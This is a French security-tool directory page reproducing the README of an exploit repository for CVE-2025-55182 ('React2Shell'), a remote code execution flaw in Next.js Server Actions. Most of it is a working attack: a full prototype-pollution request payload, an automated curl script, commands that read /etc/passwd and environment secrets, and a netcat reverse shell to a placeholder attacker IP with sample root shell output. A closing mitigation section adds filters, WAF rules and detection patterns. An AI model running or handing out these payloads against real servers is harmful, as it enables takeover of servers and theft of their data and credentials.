Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/yannisduvignau/react2shell-exploit
ExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationOutil d'Accès à DistanceDéveloppement de Charges Utiles
GitHubyannisduvignau/react2shell-exploit

react2shell-exploit

CVE-2025-55182, également connue sous le nom de React2Shell, est une vulnérabilité critique affectant les applications Next.js utilisant React Server Components (RSC) et Server Actions.

Voir le dépôt
4il y a 3 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-55182 – React2Shell

Exécution de code à distance dans Next.js

⚠️ Avertissement : Cette documentation est fournie uniquement à des fins éducatives et de recherche en sécurité. Toute utilisation non autorisée de ces techniques contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de test est illégale.


📋 Table des matières

  1. Aperçu
  2. Comment ça fonctionne
  3. Installation et configuration
  4. Exploitation étape par étape
  5. Résultats et impact
  6. Stratégies d'atténuation

Aperçu

CVE-2025-55182, également connue sous le nom de React2Shell, est une vulnérabilité critique affectant les applications Next.js qui utilisent :

  • React Server Components (RSC)
  • Server Actions

Pourquoi est-ce dangereux ?

Un attaquant peut obtenir une exécution de code à distance (RCE) sur le serveur en exploitant :

  1. Une désérialisation non sécurisée des charges utiles RSC
  2. Une pollution de prototype via __proto__ et constructor
  3. Des chemins d'exécution dynamiques dans le runtime serveur Next.js

Conséquence : Des commandes système arbitraires peuvent être exécutées avec les privilèges du processus Node.js.


Comment ça fonctionne

Étape 1 : Protocole RSC de Next.js

Next.js utilise un protocole propriétaire multipart/form-data pour communiquer entre le client et le serveur :

  • Le client envoie des React Server Components au serveur
  • Le serveur les désérialise et les traite
  • Le résultat est renvoyé au client
root@kitploit:~
Client (Browser)
    ↓
[multipart/form-data RSC payload]
    ↓
Next.js Server
    ↓
Deserialization + Execution
    ↓
Response

Étape 2 : La faille - Désérialisation non sécurisée

La vulnérabilité existe parce que :

  1. Les données contrôlées par l'utilisateur ne sont pas validées avant la désérialisation
  2. L'accès à la chaîne de prototypes est autorisé (__proto__, constructor)
  3. Certains champs sont évalués dynamiquement pendant le traitement des requêtes

Étape 3 : Attaque par pollution de prototype

Un attaquant peut créer une charge utile qui modifie les propriétés internes des objets :

root@kitploit:~
{
  "then": "$1:__proto__:then",  // Targets the prototype chain
  "_response": {
    "_prefix": "malicious code here"  // Code injection
  }
}

En exploitant __proto__, l'attaquant pollue le prototype des objets JavaScript, affectant tous les objets qui en héritent.

Étape 4 : Injection de code

Dans le champ _prefix, l'attaquant injecte du code JavaScript qui :

  1. Accède au module Node.js via process.mainModule.require()
  2. Charge le module child_process
  3. Exécute des commandes système à l'aide de execSync()
root@kitploit:~
var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();

Étape 5 : Extraction du résultat

Le résultat de la commande est caché dans la réponse d'erreur :

root@kitploit:~
throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});

Next.js renvoie cette erreur au client, et la sortie de la commande est visible dans le champ digest.


Installation et configuration

Prérequis

  • Node.js 20
  • Burp Suite (ou un outil similaire pour l'interception de requêtes)
  • curl ou Postman (pour envoyer des charges utiles)

Étape 1 : Cloner et installer le serveur vulnérable

root@kitploit:~
# Clone the PoC
git clone https://github.com/msanft/CVE-2025-55182.git
mv CVE-2025-55182/test-server ./
rm -rf CVE-2025-55182

# Install Node.js 20
nvm install 20
nvm use 20

# Install dependencies
cd test-server
npm install

Étape 2 : Démarrer le serveur

root@kitploit:~
npm run dev

Le serveur est maintenant accessible à l'adresse :

root@kitploit:~
http://localhost:3000

Étape 3 : Vérifier que le serveur fonctionne

root@kitploit:~
curl http://localhost:3000/

À ce stade, le serveur se comporte normalement.


Exploitation étape par étape

Approche 1 : Utilisation de Burp Suite (interception manuelle)

Étape 1 : Activer l'interception

  1. Ouvrez Burp Suite
  2. Allez dans l'onglet Proxy → Intercept
  3. Activez Intercept is on
  4. Accédez à http://localhost:3000/ dans votre navigateur

Étape 2 : Intercepter la requête

Une requête GET sera interceptée. Envoyez-la dans l'onglet Repeater :

  1. Clic droit → Send to Repeater
  2. Allez dans l'onglet Repeater

Étape 3 : Remplacer par la charge utile malveillante

Remplacez toute la requête par la charge utile suivante :

root@kitploit:~
POST / HTTP/1.1
Host: localhost:3000
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

Étape 4 : Envoyer la requête

Cliquez sur Send.


Approche 2 : Script d'exploitation automatisé

Créez un fichier exploit.sh :

root@kitploit:~
#!/bin/bash

TARGET_HOST="localhost"
TARGET_PORT="3000"
COMMAND="id"

# Build the payload
PAYLOAD=$(cat <<'EOF'
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('COMMAND_HERE',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
EOF
)

# Replace the command
PAYLOAD="${PAYLOAD//COMMAND_HERE/$COMMAND}"

# Send the request
curl -v -X POST "http://${TARGET_HOST}:${TARGET_PORT}/" \
  -H "Next-Action: x" \
  -H "X-Nextjs-Request-Id: b5dce965" \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
  -H "X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9" \
  --data-raw "$PAYLOAD"

Rendez-le exécutable :

root@kitploit:~
chmod +x exploit.sh
./exploit.sh

Exemples de commandes

Lister les fichiers et répertoires

root@kitploit:~
COMMAND="ls -la /"

Obtenir l'utilisateur actuel

root@kitploit:~
COMMAND="whoami"

Lire un fichier

root@kitploit:~
COMMAND="cat /etc/passwd"

Vérifier les connexions réseau

root@kitploit:~
COMMAND="netstat -tuln"

Obtenir les variables d'environnement

root@kitploit:~
COMMAND="env"

Reverse Shell (accès complet au serveur)

Pour obtenir un accès shell interactif complet, utilisez un reverse shell.

Sur la machine de l'attaquant : écouter les connexions

root@kitploit:~
ncat -lvnp 9009

Ou avec netcat :

root@kitploit:~
nc -lvnp 9009

Sur la cible : envoyer la charge utile du reverse shell

Modifiez la charge utile avec la commande suivante (remplacez <ATTACKER_IP> par votre adresse IP) :

root@kitploit:~
COMMAND="rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 9009 >/tmp/f"

La charge utile complète devient :

root@kitploit:~
POST / HTTP/1.1
Host: <TARGET_IP>:<TARGET_PORT>
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 821

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 9009 >/tmp/f',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

Résultat attendu

root@kitploit:~
❯ ncat -lvnp 9009
Ncat: Version 7.98 ( https://nmap.org/ncat )
Ncat: Listening on [::]:9009
Ncat: Listening on 0.0.0.0:9009
Ncat: Connection from 10.100.0.169:51438.
sh: no job control in this shell
sh-3.2$ ls
bin  boot  dev  etc  home  lib  ...
sh-3.2$ whoami
root
sh-3.2$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...

Vous disposez maintenant d'un shell entièrement interactif sur le serveur cible.


Résultats et impact

Réponse du serveur

En cas d'exploitation réussie :

  1. Le serveur répond avec une erreur HTTP 500 Internal Server Error
  2. Le corps de la réponse contient la sortie de la commande système exécutée
  3. La sortie est intégrée dans le champ digest de la réponse d'erreur

Exemple de réponse

root@kitploit:~
Error: NEXT_REDIRECT
digest: uid=33(www-data) gid=33(www-data) groups=33(www-data)

Impacts potentiels

  • 🔥 Exécution complète de code à distance (RCE)
  • 📂 Accès complet au système de fichiers
  • 🔐 Vol d'identifiants et de secrets
  • 🚨 Mouvement latéral au sein des réseaux internes
  • 💥 Compromission totale du serveur
  • 🔗 Attaques de la chaîne d'approvisionnement (si utilisées pour compromettre des applications déployées)
  • 📊 Exfiltration et manipulation de données

Stratégies d'atténuation

Pour les administrateurs système

1. Mettez à jour Next.js immédiatement

root@kitploit:~
npm install next@latest

Assurez-vous d'exécuter une version corrigée de Next.js. Consultez les avis de sécurité officiels.

2. Validation stricte des charges utiles RSC

Ajoutez une validation stricte des charges utiles RSC entrantes :

root@kitploit:~
// middleware.ts
import { NextRequest, NextResponse } from 'next/server';

export function middleware(request: NextRequest) {
  // Reject suspicious payloads
  if (request.headers.get('content-type')?.includes('multipart/form-data')) {
    const bodyString = request.body?.toString() || '';
    
    // Block payloads containing dangerous patterns
    if (bodyString.includes('__proto__') || 
        bodyString.includes('constructor') ||
        bodyString.includes('child_process')) {
      console.error(`[SECURITY] Malicious payload attempt from ${request.ip}`);
      return new NextResponse('Forbidden', { status: 403 });
    }
  }
  
  return NextResponse.next();
}

export const config = {
  matcher: ['/:path*']
};

3. Désactivez les Server Actions si elles ne sont pas nécessaires

Dans next.config.js :

root@kitploit:~
module.exports = {
  experimental: {
    serverActions: {
      enabled: false // Disable if not needed
    }
  }
};

4. Exécutez Node.js avec des privilèges minimaux

root@kitploit:~
# Create a dedicated user
useradd -r -s /bin/false nextjs

# Run the service under this user
sudo -u nextjs node server.js

# Or with systemd
# /etc/systemd/system/nextjs.service
[Service]
User=nextjs
Group=nextjs
ExecStart=/usr/bin/node /app/server.js

5. Isolation des conteneurs avec capacités réduites

Utilisez Docker avec des capacités restreintes :

root@kitploit:~
FROM node:20-alpine

# Create non-root user
RUN addgroup -g 1001 -S nodejs
RUN adduser -S nextjs -u 1001

WORKDIR /app
COPY package*.json ./
RUN npm ci --only=production

COPY . .

USER nextjs

EXPOSE 3000
CMD ["node", "server.js"]

Exécutez le conteneur avec des capacités restreintes :

root@kitploit:~
docker run \
  --cap-drop=ALL \
  --cap-add=NET_BIND_SERVICE \
  -u nextjs:nextjs \
  --security-opt=no-new-privileges \
  --read-only \
  --tmpfs /tmp \
  my-nextjs-app

6. Surveillez les requêtes suspectes

Mettez en œuvre une journalisation complète :

root@kitploit:~
// Custom logging middleware
app.use((req, res, next) => {
  // Log all POST requests with Next-Action header
  if (req.method === 'POST' && req.headers['next-action']) {
    const suspiciousPatterns = ['__proto__', 'constructor', 'execSync', 'child_process'];
    const bodyString = JSON.stringify(req.body);
    
    const isSuspicious = suspiciousPatterns.some(pattern => bodyString.includes(pattern));
    
    if (isSuspicious) {
      console.error(`[SECURITY_ALERT] Exploit attempt detected from ${req.ip}`);
      console.error(`[SECURITY_ALERT] User-Agent: ${req.get('user-agent')}`);
      console.error(`[SECURITY_ALERT] Payload: ${bodyString.substring(0, 500)}`);
      
      // Alert security team
      // sendSecurityAlert(`Exploit attempt from ${req.ip}`);
      
      return res.status(403).json({ error: 'Forbidden' });
    }
  }
  
  next();
});

7. Déployez un pare-feu applicatif (WAF)

Configurez votre WAF pour bloquer :

Règles ModSecurity :

root@kitploit:~
# Block __proto__ in request body
SecRule REQUEST_BODY "@contains __proto__" \
  "id:1001,phase:2,deny,status:403,msg:'Prototype Pollution Attack'"

# Block constructor in request body
SecRule REQUEST_BODY "@contains constructor" \
  "id:1002,phase:2,deny,status:403,msg:'Prototype Pollution Attack'"

# Block child_process module access
SecRule REQUEST_BODY "@contains child_process" \
  "id:1003,phase:2,deny,status:403,msg:'Code Execution Attempt'"

# Block execSync function
SecRule REQUEST_BODY "@contains execSync" \
  "id:1004,phase:2,deny,status:403,msg:'Code Execution Attempt'"

# Block require() statements
SecRule REQUEST_BODY "@rx require\s*\(" \
  "id:1005,phase:2,deny,status:403,msg:'Module Loading Attempt'"

Exemple AWS WAF :

root@kitploit:~
{
  "Name": "BlockRCEAttempts",
  "Rules": [
    {
      "Name": "BlockProtoPolluton",
      "Priority": 1,
      "Statement": {
        "ByteMatchStatement": {
          "FieldToMatch": { "Body": {} },
          "TextTransformations": [{ "Priority": 0, "Type": "LOWERCASE" }],
          "PositionalConstraint": "CONTAINS",
          "SearchString": "__proto__"
        }
      },
      "Action": { "Block": {} },
      "VisibilityConfig": {
        "SampledRequestsEnabled": true,
        "CloudWatchMetricsEnabled": true,
        "MetricName": "BlockProtoPolluton"
      }
    }
  ]
}

8. En-têtes de politique de sécurité du contenu (CSP)

Bien que le CSP protège principalement côté client, c'est une bonne pratique :

root@kitploit:~
app.use((req, res, next) => {
  res.setHeader('X-Content-Type-Options', 'nosniff');
  res.setHeader('X-Frame-Options', 'DENY');
  res.setHeader('X-XSS-Protection', '1; mode=block');
  res.setHeader('Strict-Transport-Security', 'max-age=31536000; includeSubDomains');
  next();
});

9. Audits de sécurité réguliers

root@kitploit:~
# Scan dependencies for vulnerabilities
npm audit
npm audit fix

# Use snyk for continuous monitoring
snyk monitor

# Regular penetration testing
# Schedule quarterly security assessments

10. Plan de réponse aux incidents

Si vous suspectez une exploitation :

root@kitploit:~
# 1. Check logs for suspicious patterns
grep -r "__proto__" /var/log/
grep -r "child_process" /var/log/
grep -r "execSync" /var/log/

# 2. Check process history
ps aux | grep node
history | grep -E "(nc|ncat|bash)"

# 3. Check network connections
netstat -tuln
lsof -i -P -n

# 4. Isolate the affected system
sudo iptables -I INPUT -j DROP

# 5. Preserve evidence and logs
tar -czf /backup/incident-$(date +%Y%m%d).tar.gz /var/log/

# 6. Notify your security team and apply patches

Analyse technique approfondie

Décomposition de la charge utile

root@kitploit:~
{
  // Step 1: Target the prototype chain
  "then": "$1:__proto__:then",
  
  // Step 2: Mark as resolved model
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  
  // Step 3: Inject code through _response
  "_response": {
    // The injected JavaScript code
    "_prefix": "var res=process.mainModule.require('child_process').execSync('COMMAND',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    
    // Reference to form data
    "_chunks": "$Q2",
    
    // Access constructor through form data
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}

Pourquoi cela fonctionne

  1. Analyse multipart : Next.js analyse les données de formulaire multipart
  2. Résolution des références : Les références comme $1 sont résolues vers d'autres champs du formulaire
  3. Reconstruction d'objets : Les objets sont reconstruits à partir des données analysées
  4. Pollution de prototype : Le chemin __proto__ modifie le prototype de l'objet
  5. Exécution de code : Le champ _prefix est évalué lors de la gestion des erreurs
  6. Exécution de commande : execSync exécute la commande arbitraire
  7. Exfiltration du résultat : La sortie est intégrée dans le digest d'erreur

Ressources supplémentaires

  • PoC original : https://github.com/msanft/CVE-2025-55182/
  • Documentation de sécurité Next.js : https://nextjs.org/docs/security
  • Pollution de prototype OWASP : https://owasp.org/www-community/attacks/Prototype_pollution
  • Meilleures pratiques de sécurité Node.js : https://nodejs.org/en/docs/guides/security/
  • CWE-502 : Désérialisation de données non fiables : https://cwe.mitre.org/data/definitions/502.html

Conclusion

CVE-2025-55182 (React2Shell) démontre les risques critiques associés à :

✅ La désérialisation non sécurisée de données contrôlées par l'utilisateur ✅ La pollution de prototype dans les chaînes de prototypes JavaScript ✅ L'exécution dynamique de code sans validation appropriée

Cette vulnérabilité renforce l'importance de :

  • 🔒 Validation des entrées : Ne faites jamais confiance aux entrées utilisateur
  • 🛡️ Défense en profondeur : Utilisez plusieurs couches de protection
  • ⚠️ Maintenir les frameworks à jour : Appliquez les correctifs de sécurité immédiatement
  • 🔍 Surveillance et journalisation : Détectez les comportements suspects
  • 🔐 Principe du moindre privilège : Exécutez les services avec des permissions minimales
  • 🧪 Tests de sécurité réguliers : Effectuez des audits et des tests d'intrusion

Licence : Usage éducatif uniquement - L'accès non autorisé à des systèmes informatiques est illégal.

Pour toute recherche de sécurité légitime et tout test autorisé, assurez-vous d'obtenir l'autorisation écrite du propriétaire du système avant d'effectuer des tests.

Télécharger l’outil